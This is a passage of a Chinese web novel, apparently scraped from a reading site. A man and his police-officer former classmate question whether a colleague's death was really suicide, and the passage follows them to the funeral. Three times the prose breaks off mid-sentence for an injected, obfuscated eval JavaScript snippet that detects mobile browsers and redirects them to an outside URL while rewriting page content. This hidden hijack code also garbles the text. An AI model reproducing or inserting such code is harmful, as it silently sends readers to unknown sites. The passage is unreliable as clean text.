“也就一般水平吧,毕竟不是大厂。”沈政宁说,“倒是你,为什么选了当警察?” 袁航揶揄地瞥他:“这话问的,真不知道,还是存心等我吹捧你呢?你说我当警察是受了谁的影响?” 沈政宁:“……” 他差点当场变成喷壶,震惊中带着犹疑,那神情简直像嫌疑人在招供:“不是吧……我以为那件事过去就算翻篇了?而且那次也没惊动警察啊。” 袁航用一种缥缈的语气悠悠追忆:“那时候我家里穷得抠墙皮,学习也不好,连道数学题都算不明白,被人冤枉就傻站着等死,结果你跟救世主一样闪亮登场,三言两语把事给平了,连老师和教导主任都心服口服,还说了那种,噗、跟电视剧一样的台词,哎怎么偷袭!” 袁航迅速偏头躲过一枚破空而来的花生壳,一本正经地说:“后来我跟小雪感叹,人怎么能装、咳、牛x成这样,小雪说如果不是你保护了我们,可能我俩就完了,她希望我把你这种精神传承下去,成为一个有能力保护别人的人。” “……” “说来说去不还是为了你的爱情吗?恋爱脑少拉我背锅。”沈政宁义正辞严地谴责,“而且我人还在呢,别搞得好像我已经没了一样。” 袁航大笑。 “我收到警校录取通知书后,想当面跟你再好好道一次谢来着,谁知道联系不上你,我又去找其他同学打听,才听说你考完就搬家了。” “嗯。”沈政宁没什么表情起伏,平淡地说,“我妈为了我读书才一直留在和城,高考结束后她工作调动,搬家搬得比较急,也没来得及参加同学聚会。” 袁航开了啤酒,亲手给他满上:“我结婚时回老家办婚礼,请了班主任和一些高中同学,小雪她们班的张正星跟你是校友,她提起你在橘泉工作,我那天乍一听还在想这公司的名字怎么这么耳熟……” 这个话题令空气微微一滞,沈政宁还没来得及顺着话聊下去,刚好他们点的菜送了上来。肉串刚离开碳火,上面还有滋滋作响的小气泡,香辣蟹和小龙虾各装了满满当当一整盆,鲜红肥美,香辛料霸道的鲜香简直要把人掀个跟头。 袁航有意避开了案子相关的话题,抽了两副塑料手套给他,示意别客气趁热吃,于是两个人开始埋头撸串,干掉了半盆龙虾、半盘烤串,趁着换手套的间隙,才抽出手来碰了个杯。 冰爽的啤酒滑过喉咙,酒精和辣椒不同程度地刺激着神经,借着被食物强行调动起来的兴奋,沈政宁终于问出了一开始被他岔过去的问题:“所以,我的衣服有什么问题吗?” 8.疑情 袁航端着酒杯的手一晃不晃,像是早就预料他会有此一问,他毕竟不是当年那个贫穷瘦弱、受委屈只会咬牙和血往肚子里吞的少年了,多年的警察生涯把他从木头锤成了铁,也打磨出了刀锋般的敏锐直觉。 “监控拍到叶桐生落水当晚,他穿着一件灰蓝色连帽外套,这件衣服,我们直到现在也没找到。” 鼎沸人声完美地掩盖了角落里的低语,“那件外套很重要?”没等他回答,沈政宁思索半秒后自己得出了结论,“因为口袋里有他的手机。” 袁航点点头,沈政宁问:“他的联系人、聊天记录都在手机里,没法复原数据是挺难办的——但你们应该也能通过别的渠道查到不少东西,不是已经确定了是自杀吗?” 袁航没有立刻回答,反而问道:“你了解叶桐生的家庭情况吗?” 沈政宁想了想:“他很少在外人面前提起自己的事,我只知道他是兴城人。” 袁航说:“法医在叶桐生身上发现了很多陈旧的增生疤痕,集中在背部和臀腿部。”像是怕他感受不到一样,他又强调了一遍,“很多。” “29号那天,叶桐生父母从老家赶到盛安来认领尸体,哭得走不动路,拉着我们负责接待的内勤民警哭诉,说叶桐生从小就叛逆、不听话、不孝、没出息,在大城市没混出头,这么大的人不管父母家人,随随便便就自杀了,让他们以后没脸见人,后半辈子无依无靠,抬不起头来……” 沈政宁匪夷所思地重复:“‘没脸见人’?” “我们内勤也是年轻人,差点让他说得犯心脏病,私下跟我们吐槽他这原生家庭太让人窒息了。”袁航心有余悸地说,“我问他们知不知道叶桐生身上那些旧伤是怎么回事,他父亲支支吾吾,说是叶桐生小时候不听话,他用藤条抽的。” “根据他父亲的描述,叶桐生上高中时是住校生,经常晚上翻墙出去泡网吧打游戏,他们学校很严格,老师向家长反映叶桐生有网瘾,他们就把叶桐生领回去进行棍棒教育,打断了好多根藤条也没把他打服,叶桐生反而一怒之下离家出走,跑到了隔壁邢城他舅舅家,只在高考那两天回去参加了考试,上大学就跟家里断了联系。” 兴城的教育事业十分出名,沈政宁读高中时,学校还组织过教师去兴城进修,学习当地名校的先进经验。不过近些年来随着观念变革,逐渐出现了一些对兴城的批判声音,如今人们再提起兴城,已不复当年的狂热推崇。 沈政宁低头看着酒杯里翻涌的气泡,心里有点不是滋味:“高中时翻墙上网,毕业后进了互联网公司,叶桐生还真是不忘初心啊……他对计算机应该是发自真心的喜欢吧。” 这感慨来得有些迟了。他真正认识了解一个人,竟然是在对方离开这个世界之后。 他不再有机会听到他亲口谈及过去,也不会在闲聊时笑着说出“从事自己热爱的行业真好,我选计算机只是因为专业热门好就业,其实我小时候想当名侦探来着。” “这还不是最离谱的。”袁航用一种沧桑的语调说,“今年六月,叶桐生回了老家兴城一趟,偶然遇到了一个亲戚,对方认出了他,说他父母这些年过的不容易,劝他回家看看父母。 “叶桐生可能是心软了,加上亲戚把遇见他的消息告诉了他父母,他就回家见了父母一面。他父亲不想让他再离开家乡,当晚把他的身份证、电脑手机都藏起来,人锁在房间里,坚决不允许他再回盛安,命令他必须收心,在老家老老实实地找个人结婚生孩子。” 即使袁航的描述已经尽量精简,沈政宁仍然感觉到一阵毛骨悚然。 “他父亲是做什么的?” “退休以前是县水利局科员,顺带一提他母亲是药房的销售人员,就是很常见的普通家庭配置,没什么大钱,但在当地也能过的很舒服。” 沈政宁支着下巴:“叶桐生逃出来了,然后呢?” 袁航说:“我们调取了叶桐生的就诊记录,今年7月份,也就是他从老家逃出来之后,他到盛大附属医院精神心理科做了量表,确诊中度焦虑和抑郁,病历明确记载了患者自述有轻生念头,医生给他开了米氮平和劳拉西泮。” “长期服用?” “是的,但他只在就诊时开了一次药,后来没再去医院开过。” 亲情矛盾、抑郁症、曾有过轻生念头、最后发出的“对不起”……散落各处的事实串连成线,鲜明地指向了最终的结论——原生家庭引发心理问题,在一次又一次的抗争和失望中不断恶化,最终走向崩溃。 这样的悲剧并不鲜见,或者说由于见得太多,甚至有了一种“果然如此”的顺理成章。 “令人惋惜。”沈政宁说。 袁航:“能说说你的看法吗?” “我?”沈政宁失笑,“我一个外行,高中时那算不知天高地厚,现在还怎么好意思在内行面前现眼?况且我和受害人多少沾点关系,会影响你的判断吧。” “不会。这案子已经结案了,除非发现新证据,否则无法推翻现有结论。”袁航笃定地摇头,话却说得有几分迟疑,“我是觉得这个结果……怎么说呢,好像是顺着我们的惯性思维发展出来的……我很担心自己是不是掉进了套路陷阱。” 飘忽的念头导致他解释起来断断续续的,不过沈政宁听明白了他的意思:“我大概能理解你的想法,说实话,以我和叶桐生的几次接触来看,我确实没感觉到他有严重到轻生的消沉情绪,反而觉得他是一个很有韧劲、善于解决问题的人。当然这也有可能是他把情绪隐藏得很好,并不想让外人知道自己的伤痛。” “此外有一点我没想通的地方,就是叶桐生最后的那条朋友圈。” “你们工作用的手机和日常用的手机是分开的,所以你会在自己日常那个号发朋友圈,工作机不发任何跟私生活有关的东西,对吧?” 袁航点点头。 “叶桐生有几个微信账号?” “只有一个。” “他没有分开工作机和私人机,我能看到他最后的那条朋友圈,说明没被他屏蔽——但在此之前,他从来没有发过朋友圈,不管是自己的日常、还是工作相关的推送,我猜比起全都是熟人的微信,他应该更偏好在匿名社交网站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872585|159315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记录自己的生活。” “所以为什么最重要的、最后的告别,他偏偏要发在朋友圈呢?” 袁航皱眉:“不是因为他想让所有人知道吗?所以用大家都可以看到的朋友圈……毕竟是告别,总要有点隆重的仪式感吧?” “仪式感?” “对。” “那就更不对了。”沈政宁说,“生死都是大事,庆祝生日最基本的仪式感是卡在0点说生日快乐,叶桐生如果那么在意仪式感,那条朋友圈不说选在半夜0点发布,起码也要凑个整数,比如11点整。” “发布时间10点43分,甚至不是45分,除非这个数字对他有什么特殊意义,不然也太随便了。” 袁航伸手拿过杯子,仰头干掉了剩下的啤酒,深吸一口气:“还有吗?” 沈政宁面无表情地:“别这样,有点吓人。大晚上的,你搞得我要不敢走夜路了。” 袁航刚被触动的神经瞬间松弛下来,嗤地一声笑了:“你才吓人,被学霸吊打的感觉真是酸爽啊。” “我以为你已经习惯了,”沈政宁一针见血地说,“毕竟你们从高中就在一起谈恋爱了。” 袁航:“……越来越过分了!” 沈政宁把凉透了的气氛拉回一些,又话锋一转,回到正题上:“还有就是听完你刚才说的、有关他父母的情况,别扭的地方更多了。第一,叶桐生高中时就敢离家出走,十年不和父母联系,有这种决心的人,会因为被他爸关起来就心理崩溃吗?他又不是不知道父母是什么做派。” “第二,叶桐生经历了父母二度伤害后,从老家逃回了盛安,这种情况下他还会留着他父母的微信吗?他那条‘对不起’的朋友圈是发给谁看的?” “第三,被父母伤害的孩子,对亲情彻底绝望,最终选择自我了断。放弃生命,这是典型的对给予他生命的父母的报复行为,既然如此,那为什么要说‘对不起’?不应该是‘我们两清了’或者‘我再也不欠你了’这种话吗?” 袁航扶着太阳穴:“很有道理……但是这好像涉及到太多叶桐生的心理活动了,父母子女的关系哪是几句话就能说清的?谁知道他当时怎么想的,也许就是因为极度矛盾所以想不开了呢?” “这就是套路般的推导过程中的反常之处,”沈政宁道,“你可以把它看作对案件结论的质疑,也可以把它当成是这个案子有别于常规套路的特殊之处。” “什么意思?” 四周是明亮灯光、嘈杂人声以及热烈的烟火气,在这样的气氛里,人的胆气和野心会像吹气球一样膨胀起来,往更为激烈的方向冲去,可沈政宁偏偏是逆着这股潮流,他冷静得简直有点格格不入—— “也就是说,这些让你感到别扭的地方,也许是‘此案另有隐情’,当然你也可以把它当成一个故事里没有展开讲明的部分。” 他没有说出后半句略显刻薄的话,袁航已经够细心周全了,竭尽全力奔波寻找真相的人,不应该再承受这种站着说话不腰疼的无端指责。 ——反正那只是一个大同小异的悲剧故事而已。 9.叙旧 灯光下袁航的眼睛有点红,当然不是因为他被沈政宁三言两语触动了心肠,而是熬夜熬的。他手里不止叶桐生这一件案子,死亡固然是人生大事,但每天都有人死去,就像殡仪馆要排队火化,孟婆汤要排队喝,无论尘世还是阴间,世界永远不会只围着一个人运转。 “我明白你的意思。”袁航搓了把脸,“不过没有关键性的证据,很难动摇现有结论。”他眉头习惯性地带点微皱,看着沈政宁欲言又止。 “怎么了?” “嗯……社会真历练人啊,”袁航感慨,“你现在变得好稳重,深沉得让人不敢认了。” 沈政宁失笑:“我一个外行在内行面前大放厥词,态度再不谦逊点,不会被打吗?” 果然。袁航心想,沈政宁高中时是个会路见不平拔刀相助的主动型人格,可现在却收敛了锋芒,每句话都给对面留足余地,“你不听不接受都没关系”,就好像他已经习惯了不被考虑、不被选择,于是把退让的态度像是盾牌一样摆在了最前面。 他明明曾经那么耀眼夺目,为什么对自己的推理失去了自信呢? “我要是信不过你,就不会跟你交底了,咱俩还论那些有的没的吗?”袁航直觉现在不是刨根问底的好时机,含糊地一语带过,“你们公司信息泄露的案子,反诈中心在跟进,我会盯着那边的。” 沈政宁:“上一次你问过我关于信息泄露的问题,是怀疑叶桐生和这件事有关吗?” 袁航做了个嘴上拉拉链的动作,不过他知道单凭他们只言片语透露出的信息,沈政宁起码能推断出一大半了:“案件还在侦办中。”他又开玩笑似的补上一句,“你要是发现什么线索,欢迎向警方举报。” 这顿饭从六点吃到八点半,一气叙完了十年的旧。其实高中发生那件事之后,因为袁航有点自卑,沈政宁又不想挟恩图报,两人并没有一跃成为特别亲近的朋友,反而依旧保持着普通同学的距离,直到毕业各奔天涯。也许回忆自带美化滤镜,袁航见过了形形色色的人,才后知后觉地意识到当年沈政宁拉他一把有多么难得。 因此再度相遇,他怀着感激之心,而彼此都是熟谙社交规则的成年人,这顿饭的气氛和谐得不可思议,世间的因缘际会有时候奇妙得不讲道理,他们认识了十几年,却在今晚才终于成为了可以交心的好朋友。 沈政宁招手叫服务员买单,袁航笑着拦了他一把:“说好了我请,总不能让我违反纪律吧?以后还处不处了?”他转头对服务员说,“再来五个羊肉,五个牛肉,两串鸡翅,一点点辣,单独打包带走。” 服务员笑道:“好嘞,给嫂子带夜宵是吧?一共两百六十三,您给两百六就行。” 袁航付完钱,转头看见沈政宁露出微笑,随口说:“小雪今天去学校开组会,这顿不算,改天她有空了你来家里,让我们俩正经请一顿饭。” “唉你真是……”沈政宁的微笑差点变成苦笑,“再这么下去你们家孩子是不是要认我当干爹、顺便给我养老啊?” 袁航“噗嗤”一笑:“你是他爸妈的爱情保安,他认你当干爹很合理啊。话说回来你呢,有对象了吗?” 沈政宁无所谓地摇头:“没有。” 袁航上下打量他一番,狐疑道:“你这相貌品格,不应该啊?不想找,还是有困难?有困难记得找警察叔叔。” 沈政宁露出了熟悉的被他无语到的表情:“你是公安局的还是民政局的?” 袁航震声:“有什么关系,都是为人民服务!来,说说你的烦恼!” 热腾腾的烤串用塑料袋打包好,送到袁航手中,沈政宁披上外套,跟他一起走出店门。清凉的夜风里有落叶的气味,夜空深邃澄净,银河显得格外清晰,让人心里也跟着宁静下来。 他望着远近的霓虹灯火,自言自语:“可能我还没有做好准备……” 袁航:“什么准备?” 沈政宁想了想,答道:“大概是……像你一样的勇气?” 袁航不愧是饱经考验的警察同志,脸色几变,最终定格为如临大敌的凝重:“我当初是早恋,被发现了要叫家长棒打鸳鸯,你你你你该不会是——” 袁航:“爱上了有夫之妇?” 沈政宁:“gay。” 袁航:? 沈政宁:? 袁航张了张嘴,沈政宁抢在他前面说:“不要刻板印象,不要对号入座,不要发散联想,什么都不要,谢谢。” “……” “你跟我玩成语接龙呢?”半晌后袁航合上了差点掉在地上的下巴,长出了口气,“我还以为你会说什么爱情像机器里的沙子,会影响你的理智思考之类的。” “我还没自负到那个程度,又不是福尔摩斯。”沈政宁笑了笑,“取向这种事,自己知道是一回事,真的去谈又是另一回事,不想自欺欺人,而且同性恋这个标签说不上好,所以还是单着吧。” 袁航撇嘴:“多大点事,大大方方谈恋爱怎么了,又没有插足别人家庭。” “……” 沈政宁:“不知道该说你接受底线低还是道德水平高,我看起来很像会插足别人家庭的人吗?!” 袁航往旁边躲了两步,防止他暴起揍人,心虚地摸鼻尖:“不是经常有那种剧情吗,女主角的婚姻不幸福,男二号发现她过得不好、老公出轨,温柔安慰趁虚而入什么的……” 沈政宁磨着后槽牙:“回去把你手机上的视频软件删了,闲着没事多看点人民日报吧。” 袁航“嘿嘿”地傻笑起来。他的短寸头还是像刺猬一样支棱着,却比记忆里那个黑瘦少年更有青春气,手里拎着带给老婆的夜宵,就像很多年前沈政宁路过早点摊,偶然看见他两口啃完没有馅的包子皮,把一杯热豆浆小心地裹进校服里,顶着寒风一路跑进学校。 两人在路口分别,最终袁航没多说什么,只是手劲很重拍了拍他的肩。 沈政宁独自走在小区落满梧桐叶的石砖小路上,也许是太久没喝酒了,今晚他有点上头,以至于轻易吐露了自己的秘密,希望袁航别误会。 他久违地感觉到了那种抓住疑点后思维飞速运转、推测分析得出结论的快//感,而袁航和岳如雪婚姻幸福的事实又使这成就感更上一层楼,甚至令他产生了某种短暂的错觉——他真的用所谓“推理”手段帮助了别人,而不是卖弄小聪明、自以为看穿一切的蹩脚的“福尔摩斯”。 次日清晨,沈政宁顶着宿醉后隐隐的头痛爬起来洗漱,昨晚洗完澡后头发吹了个半干就睡了,现在脑后有几缕毛不服帖地支棱着,他拿过发胶晃了晃,呲—— 化工香精味在狭窄空间弥漫开来,沈政宁立刻扶着洗手盆干呕一声。 他倔强地忍着恶心把头发摆弄服帖,逃也似地离开了家门,走进十月清新的晨风里。 满地都是梧桐落叶,几乎没过了脚腕,各种小狗在落叶从里跑来跑去,那场面相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888656|159315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当可爱,可惜没有他喜欢的那一只—— 左前方拐角处转过来一团雪白,脑袋上顶着一片形状完整的五角叶子,摇着尾巴一颠一颠地朝这个方向晃悠过来。 精神萎靡的沈政宁蓦然定在风中。 他没有养狗经验,不能一眼就认出特定的某只萨摩耶,但狗狗的主人刚好长着一张让人过目难忘的脸:半长微卷的黑发柔顺地散开,露出低垂的眼和冷白的脸,修长脖颈与平直肩膀形成了近似垂直的优美角度。 对方这次倒是没有穿得像黑//道大佬,白内搭外罩灰色外套,但也不怎么贤惠居家,还是一副贵得高攀不起的样子。不过沈政宁只把他当狗的名牌,倒不是很在意他拒人千里之外的冷漠,等萨摩耶溜达过来,他又像昨天一样如法炮制从头摸到尾,感觉自己的生命力旺盛起来,然后心情舒畅地一抬头,对上狗主人如低血压发作般黑气缭绕的阴沉视线。 沈政宁:“……很可爱。” 他下意识开口,立刻发现自己好像太不诚恳了,又赶紧找补:“特别可爱,您养得真好。呃……它叫什么名字?” 对方沉默地打量他几秒,才惜字如金地开口:“silver。” 萨摩耶听见自己的名字,回头在主人裤脚上蹭了蹭,仿佛抽空哄了他一下,又自顾自快乐地去刨树坑里的落叶,沈政宁视线不受控地跟着它转,眼神柔和得能把整个小区淹没:“银?很贴切,好名字。” 一人一狗都不看他,对面男人不知道出于什么心理,又多说了一句:“因为它的生日是9月25日。” 空气中仿佛有静电闪现,啪地将沈政宁从毛茸茸幻境中电回神,但他条件反射地一激灵后,沉下心来仔细想想,就意识到这纯属巧合,只是他眼下对这个日期有点神经过敏罢了。 “您是在时尚行业、或者珠宝行业工作吗?” 男人纤长的眉尾轻轻一动:“为什么这么说?” “S925,纯银,常见的镶嵌材质,会做这种联想的人,也许对珠宝首饰很熟悉。”沈政宁挂着“不好意思冒犯了”的微笑,说着“只是我的随便猜测”,向他告别致意,并不打算详细解释推断的缘由。 没有人会喜欢被一眼看穿的感觉,沈政宁还想再跟他家的小狗多玩几次,非常谨慎地拉满了礼貌和客气。他走过梧桐大道,摸出手机来估算一下时间:在这条路上遛狗,大概率是这个小区的住户;可是以前没有遇到过,可能是近期新搬进来的;前两天早晨没有遇见,而今天他比平时提前五分钟出门,也就是说遛狗时间是七点半左右。 既然如此—— 周二清晨,七点三十五。 沈政宁:“很可爱……” 对方漠然地扭过头,打了个呵欠。 周三清晨,七点三十五。 沈政宁:“……” 两人都是一身正式的黑西装,在殡仪馆告别厅前不期而遇。沈政宁第一反应是下意识低头扫了一眼,导致对方的神情愈发冰冷:“没人会带着狗参加葬礼,别找了。” 沈政宁讪讪地偏头虚咳,掩饰自己不良居心:“你也是来参加叶桐生的葬礼?”他主动伸手,“我姓沈,沈政宁,是叶桐生的同事,您贵姓?” 对方右臂衣袖微微一动,仿佛条件反射要抬起手,却又被刻意地按了回去。 男人没有接沈政宁伸过来的手,只是垂了垂眼:“免贵姓庄,庄明玘。” “我是他的……朋友。” 10.触碰 毫无理由地拒绝别人伸出的手是件很没礼貌的事,再配合上他那冰天雪地的脸色,庄明玘全身上下都洋溢着生人勿近熟人滚开的冷漠。沈政宁默默在心里记了一笔,决定下次从他们家狗身上找回来。 不过看他这几乎低落到谷底的情绪,沈政宁忽然想起那天在新柳河边遇见一身黑衣的庄明玘,难道他是专程去祭拜叶桐生的? “你和叶桐生认识很久了吗?” 庄明玘淡淡地扫过他的脸,仿佛多说一句话会要了他半条命一样:“算是。” 告别厅前逐渐聚集起人群,大部分是公司的同事,见到沈政宁会主动打声招呼,还有一小撮他们不认识的家属,簇拥在叶家父母身边。人来人往中,唯独庄明玘遗世独立,跟在场的谁都不熟,甚至看起来跟叶桐生的葬礼都没多大关系,像一只从山里飘下来、偶然路过此地的幽灵。 沈政宁并不回避社交,但也不是高中那种主动型人格了,见庄明玘没什么聊天的欲望,便识趣地住口不再追问。天气阴沉沉的,后山上遍野松涛起伏如浪,薄雾散而复聚。八点整告别仪式开始,他们走进大厅,第一眼望见正中间被白菊黑纱围绕着的叶桐生的遗照,正宁静地朝着来宾们微笑。 那也是叶桐生工作证上的照片,年轻英俊,眉宇舒展,眼神里毫无阴霾。 庄明玘就站在沈政宁身边,司仪说到动情处,叶家父母发出响亮的抽泣声,沈政宁一抬眼皮,余光瞥见他飞快地皱了下眉,刹那间流露出的神情,竟然是明明白白的嫌恶。 迄今为止沈政宁在庄明玘脸上看到过的表情除了冷淡、冷淡、还OO的是冷淡,这样不加掩饰的神情几乎称得上鲜明,令他无药可救的好奇心又不合时宜地发作起来。 会特地去水边悼念叶桐生,却讨厌对方的父母吗? 联系袁航提到过的叶桐生少年时代的遭遇,看来庄明玘大概率是叶桐生高中时期的朋友,而且很清楚叶家父母对他做过的事,那么他对叶桐生的死亡会是什么看法? 得跟庄明玘再混熟一点,否则揪不出这个线头他会一直抓心挠肝。 在对方察觉到视线窥探前,沈政宁迅速将注意力放回仪式上,同时在心里自我说服:绝不只是为了庄明玘家的萨摩耶。 告别会时间不长,只有半小时左右,结束后工作人员上来推走遗体、安排火化。大部分宾客参加完这个环节就离开了,沈政宁本来也打算直接走,恰好口袋里的手机振动起来,他避开人群走到安静处接电话,远远看见庄明玘逆着人群,走向了坐在场边的叶家父母。 沈政宁直觉不妙,三言两语结束了电话拔腿跟上,然而庄明玘那家伙腿长得犯规,一晃眼就到了叶家父母眼前。附近的亲朋正在劝解哀哀哭泣的中年夫妻,叶父拿着张纸巾,长吁短叹地跟人念叨:“你说这好端端的人,怎么就没了呢?他怎么忍心让我们白发人送黑发人?我和他妈辛辛苦苦把他养育成人,他一转头就把我们全抛下了,这么多年没有音信,一点不念父母的恩情,怪我没有教好他……” 旁边人苍白地劝着“节哀”“朝前看吧”,直到庄明玘的皮鞋跟在地砖上敲出清脆的声响,他像朵乌云一样飘过来,笼罩在叶家父母头顶:“您好。” 他的双手插在口袋里,完全没有握手的意思,全身行头裁剪合体,一看就价值不菲,再配上过分出挑的脸和身材,看起来像个傲慢矜贵、目无下尘的公子哥。 但这种骄矜在逝者家属面前显然相当不合时宜,亲友中的正常人已经开始皱眉头了:“你是哪位?” “我是叶桐生的朋友。”庄明玘直视着叶父的眼睛,冷而轻地说,“我们是在‘夏令营’认识的,您知道是哪里吧?” 叶父悚然惊起,肉眼可见地一激灵,那神情活像遇见了恐吓犯。他张了张嘴,没能发出声音来,不过庄明玘也不需要他回答,彬彬有礼地一欠身:“叶桐生出了这种事,我作为朋友,深感痛心,因为他原本值得更好的人生,这个结局对于他前半生遭受的痛苦来说,实在是太不公平了……” “够了!” 叶父突然一声断喝,惊惧交加地盯着他:“叶桐生已经没了,你现在说这些还有什么用?!” 庄明玘微带冷笑地反问:“我说什么了?” 叶父:“……” “我没有别的意思,只想请您节哀,”庄明玘依旧用那副文雅的口吻,无情地吐出刀片似的语句,“毕竟您这珍贵的悲哀,对他来说来得太迟了。” 围观的人群窃窃私语:“说什么呢”“这谁啊?”“你认识吗?” 叶父颤巍巍地捧着胸口,叶家亲戚终于爆发了,一个箭步冲上前搡开庄明玘:“你他X有病吧!” “我不管你有什么深仇大怨,这是人家儿子的葬礼!找茬不会挑时候?欺负人不怕遭报应吗?!” 庄明玘虽然个高,但是瘦得像纸片,哪经得起八十公斤的成年壮汉全力一推,当即脚下踉跄向后倒去。眼看后脑勺就要吻上地砖,关键时刻,斜地里忽然伸出一只手,半扶半抱地托住了他,接着另一只手扶上他的臂弯,对方用一种保护的姿势,稳定而有力地撑着他重新站直。 “没事吧?” 交锋就发生在一瞬间,不管是推人的还是围观的都没反应过来,反而是庄明玘率先应激,堪称失态地一把甩开了沈政宁的手,像一只被踩了尾巴的炸毛猫,甚至在挣扎中不小心打到了他的手背—— 由于大家都很沉默,在满堂寂静中,那“啪”的一声显得尤为清脆,好像甩在登徒子脸上的大耳刮子。 沈政宁:“……” 他悻悻地揉着自己的手背,又在心里记上一笔,看向迅速别过头去的白眼狼。 这个角度只能看见庄明玘一小半倔强的侧脸,但沈政宁注意到他衬衫领口上的喉结来回滑动了好几次,仿佛正在在强忍着呕吐的冲动。 他并没听清楚庄明玘说了什么,不过看其他人的反应也知道庄明玘不占理,但在葬礼上贸然动手实在不太好,于是沈政宁缓缓转向叶家人:“各位先冷静一下,出了这种事,你们作为家属,我们作为叶桐生的朋友,都需要点时间来接受现实。大家是为了叶桐生而来的,相信我们能理解彼此的心情。” “是他先——” 沈政宁迅速打断对方,咬字清楚,略带警告意味:“我知道。但是逝者为大,不管有什么摩擦,至少今天、现在,不要打扰他最后一程的安宁。” 叶父躲在人群后,对这个突然杀出的陌生年轻人有点措手不及,沈政宁礼节性地朝所有人一点头,赶在他们再度开口之前,抬手虚揽了庄明玘一把,将他带离了人群中心。 庄明玘一言不发,完全没有承情的意思,沈政宁要不是看在他们家狗的份上,也懒得出来救场。两人在礼堂门口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903202|159315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分道扬镳,沈政宁往停车场的方向走去,庄明玘可能是打车来的,没有跟他走同一条路。 世界总在不经意处落下重锤,在没必要时突然应景,来时阴沉的天空,去时竟然淅淅沥沥地下起了小雨。 五分钟后,沈政宁面无表情地踩刹车,按下车窗,目光隔着镜片复杂地落在路边的人形立牌上:“打不到车?” 这个点钟正好是早高峰,估计城里堵车,殡仪馆在郊区,附近本来出租车就少,眼下似乎也没有其他人过来。 庄明玘那玻璃珠似的漂亮眼睛透过雨雾盯着他,不说话也不动,像是在掂量他的用意,沈政宁总觉得自己是在对付警惕心很强的黑猫,不能靠近也不知道该用什么引诱,说话声音大点都怕吓跑了他——说起来他为什么要谨小慎微,沈政宁忽然扪心自问:他跑了关我什么事? 记忆里雪白的萨摩耶适时朝他露出微笑,降下普照万物的神圣光辉。 沈政宁:“上来吧,我顺路送你回去,一会儿雨下大了。” 庄明玘歪了下头,看起来像是卖萌,其实是在副驾和后座之间飞速权衡,随后他果断地拉开了后车门,沈政宁无声地叹了口气,从扶手箱空隙里丢过去半包纸抽。 “谢谢。” 柔顺黑发被雨水打湿成绺贴在两颊,显得脸色愈发苍白,薄唇几乎失去血色,沈政宁从后视镜里看了他两眼,怀疑庄明玘马上就要犯低血糖:“你还好吗?我这有巧克力,别半路直接给我导航到急诊去。” 庄明玘仰头靠在后座,这个姿势把脖颈线条拉到了极致,修长漂亮而脆弱无比,那枚喉结还在不安地滑动,声音低到像在喃喃自语:“不用,我不吃巧克力。” “你还挑上了。”沈政宁趁着等红灯的工夫,在手套箱里翻了翻,摸出两个小面包扔给他,“6月份体检时候买的,应该还没过期。” 庄明玘恹恹地拿起落在身旁的小面包,皱着眉苦大仇深地盯着它,好像小面包会反咬他一口似的。许久后他终于决定顺从本心,沈政宁在后视镜里一眼瞥见他要放下,立刻出声:“吃,别晕在我车上。” 庄明玘:“……我可能会吐在你车上。” “那就吐,”沈政宁凉凉地道,“我可以停路边等你吐完。” 他大概是被不主动的家伙逼急了,态度开始强硬起来。但庄明玘的任性超乎想象,软硬不吃就是他的人生食谱,这人甚至把小面包远远地推到座位另一边,用实际行动代替口头拒绝,做出了立场鲜明的表态。 沈政宁:“……” 怎么会有这么幼稚的人,狗都比他成熟吧。 说到底他们是只有几面之缘的陌生人,今天才刚刚互通姓名,沈政宁完全是日行一善,而庄明玘的种种行径挂到网上能被骂三百条。面包他爱吃不吃,就算沈政宁现在让他滚下车自己走也合情合理。 “没关系,反正低血糖难受的人又不是我。”沈政宁语气和缓,堪称宽容,“友情提示,如果你不幸晕倒的话,我会直接把你送进医院,到时候有人抬你、有人给你测体温、量血压、灌葡萄糖,整个过程中可能碰到你的医生护士和普通路人不知道有多少,你可能会短暂地失去知觉,但不会一直都没知觉。” “对你来说很难受吧?” 他双手放松地搭着方向盘,目视前方,意味深长地道:“毕竟、你好像非常讨厌别人触碰你。” 11.交锋 这个人……很会欺负人。 庄明玘脑袋回正,盯着前方沈政宁开车的侧脸。他的气质很宁静,姿势放松,神态专注,仿佛刚才的威胁不过是一句随口闲聊,他对这句话的威力了然于胸,因此也就没有回头看爆炸的必要。 庄明玘讨厌一切形式的强迫,换成别人他估计立马跳车,然而微妙的是他在沈政宁的“威胁”里感觉不到任何恶意,甚至没有什么说教意味,硬要说的话,倒像是拎住小猫柔软的后脖颈,用不会弄疼它的方式来制止它的胡乱抓咬。 但如果轻易屈服、顺了沈政宁的意,他岂不就成了被捏住后脖颈的小猫? 